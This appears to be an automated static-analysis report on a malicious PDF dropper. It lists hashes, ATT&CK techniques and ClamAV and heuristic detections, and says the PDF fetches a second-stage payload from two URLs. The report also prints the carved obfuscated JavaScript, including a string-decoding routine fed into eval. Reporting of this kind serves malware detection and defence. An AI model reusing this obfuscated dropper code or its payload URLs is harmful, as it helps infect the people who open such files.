Malicious PDF — malware analysis report

Static analysis result for SHA-256 703bd1b762c4e87d…

MALICIOUS

PDF

2.8 KB First seen: 2012-07-12
MD5: 0b411f577d44d3ee3289f7a3edc30251 SHA-1: 0941bd7bcbe57cc0c66e277050d3d78353773c49 SHA-256: 703bd1b762c4e87d9cc4f2cd964181c74415cc5eea8a544a4d4cc9c6a920fc63
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes String.fromCharCode and eval() to decode and execute malicious code. This script is designed to download and execute a second-stage payload from the URLs http://d2F.QK/_-a and http://G.TK/ZGNU. The ClamAV detection name 'Pdf.Dropper.Agent-1828784' further supports its role as a dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-1828784 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828784
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('dvemyuf8=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
    • http://G.TK/ZGNUReferenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 259 bytes
SHA-256: 6413ce03cd09e1c23c80f75b192aaeabe647a2a892526ccf6d04d3977b77884f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('dvemyuf8=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x269 3385 bytes
SHA-256: e143d1c189a7fc5bc5125ceb2b3cc202e4ddf3838992ec467f4038ba6f710008
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
cwxlhw2="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";dnczjrb="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3NV,.ZX8K6?Q:JTCN2*Eg2**.3OZ+,EGgR<=JXK8W:2<Z+4.?gJK96,N2/5+,4-^2;O^T:OJg]._Z9K96*>34`JK5+h_3dLT:NT@,.[@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R<=J,.+`HK9C:V35+>K*5_R:**2<SQK,4V*:Qi1:NLXS,DCER<QEV32R@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK/I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,<F*:J8U_3f4/K3B4N2+Ha.**,.TCc:LU*.3jK_32UT:PP@e.Saf,<4/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>OQZJ**:J**:J**:J**:J**:J**:J**:J**:QCC>3OO@K8Xf2=*>.2Tb8K58fc<`*,.db?K5>e_3[H/,Fd;B;:O/K*,^R=VVT.Z/@K8TRV3Cb<K8W`R=V>@.?3>R=/*.3ag4.?hVK8Oa:KKJ+,?5cR<TY/,>,::LVCV2>?ER=[??,<G>>2CW*K*,?2:**2:^*O,*?[N2**.2]fXK9Z3:J/FC,**+,4-^2=d4i.G<Q:KP+4.*UM2:**2:]ffR:,XU,**+,+3O_2c^gK**,ZM-*,.,=5R;[Qd,**/K6**K0A66K9Z3:J/FC,**+,CU-2<c]=R=8CG,IJ<K*4c].**,.SbLK5OH4.U=1:M8U4.?E+:PD/R==5<K6b;:O^K<K*OR:K?IN2**@.Nc*K+GAR;ObG,D/1:J<*V2eYd,**/K9.*:M5TG,IJ<K*4c].**,._]NR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I[>3@XI,?U@V3Pd@.+^-2=ZSV2BC5B:,TW,EGSN3P>O,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2;<XU,G=WK8G`B=5GD.Wb?K8SZR<^X].>*+,Gb@K/*U2:XhD.?jC,*1C,45_R;>XG,/bYK8h::J*R2;?Xi.>,U:KD]C,F>WB=TG@.eTVK8/aZKG?N2U/<K8ZWB;?Xa.eTLZLK4,.eKDZLJ5V2R8i.c>TZNXOG,,**9/dVFH.2:LdJ[/KY5a*-iI.1.PC8b@VXIPiQ;hRV2H</E11K,.2XB6;YS_JcJ7GJ***KW.HU-HAV*1gi2HL*`]iga89,.2;FZBNf+Q_[+[.8eiR]EAScK+*22::,*gAP[[c:K,=V0I=.1.T`7CYW=;f8ZCh6H]7h8bP[[c:K,5P-.P[IPcE9C>JcM_0V4+:4+:KW.+UV***AL0a:0XZ***a89,.2<T_BM`FZBLdHRD^>5S]-L*a2XAT0V`,eFLi37Lj7ZaH]UBLdHRD^>5S]1Rh.Y0Jcg2:K,.B678ESFY>7CT/_dX]-L=V0I=.9;3P=W`U5P[[c:K,0Ncg2:K/^+L7+ej@1[OgIN1.:fUeM3WHQL*.H5^Bcg2:K-hB`7h2hD-`iV9M5cjIPiQ;hRV2YL*`a**Y7+ej@1[OgIN9:cM:HY`KgCI1fBcg2:K0JhIU-c]i9]-L1JiIMZ:h.D-`iV9M5cjE11K,.2]DCiX@_IQhDbEV6IKj@KV>@QAU:HY`KgCI1hdVFH.2D:";hojlysx=2751;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/cnbmksc/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(cwxlhw2.length){cnbmksc.push((cuboat(cwxlhw2.charCodeAt(0))<<(4+2))+cuboat(cwxlhw2.charCodeAt(1))-(500+12));cwxlhw2=cwxlhw2.slice(2,cwxlhw2.length)}ywgthl4=kvhuhpd=cwxlhw2=0;esyrao='';function cuboat(dudpxqx){if(dudpxqx>92)dudpxqx--;return dudpxqx-42}function ezbqal4(){if(cwxlhw2==0){kvhuhpd=cuboat(dnczjrb.charCodeAt(ywgthl4++));cwxlhw2=6;}return ((kvhuhpd>>--cwxlhw2)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(hojlysx--){i=0;while(cnbmksc[i]<0){if(ezbqal4())i=-cnbmksc[i];else i++;}esyrao+=String.fromCharCode(cnbmksc[i]);}

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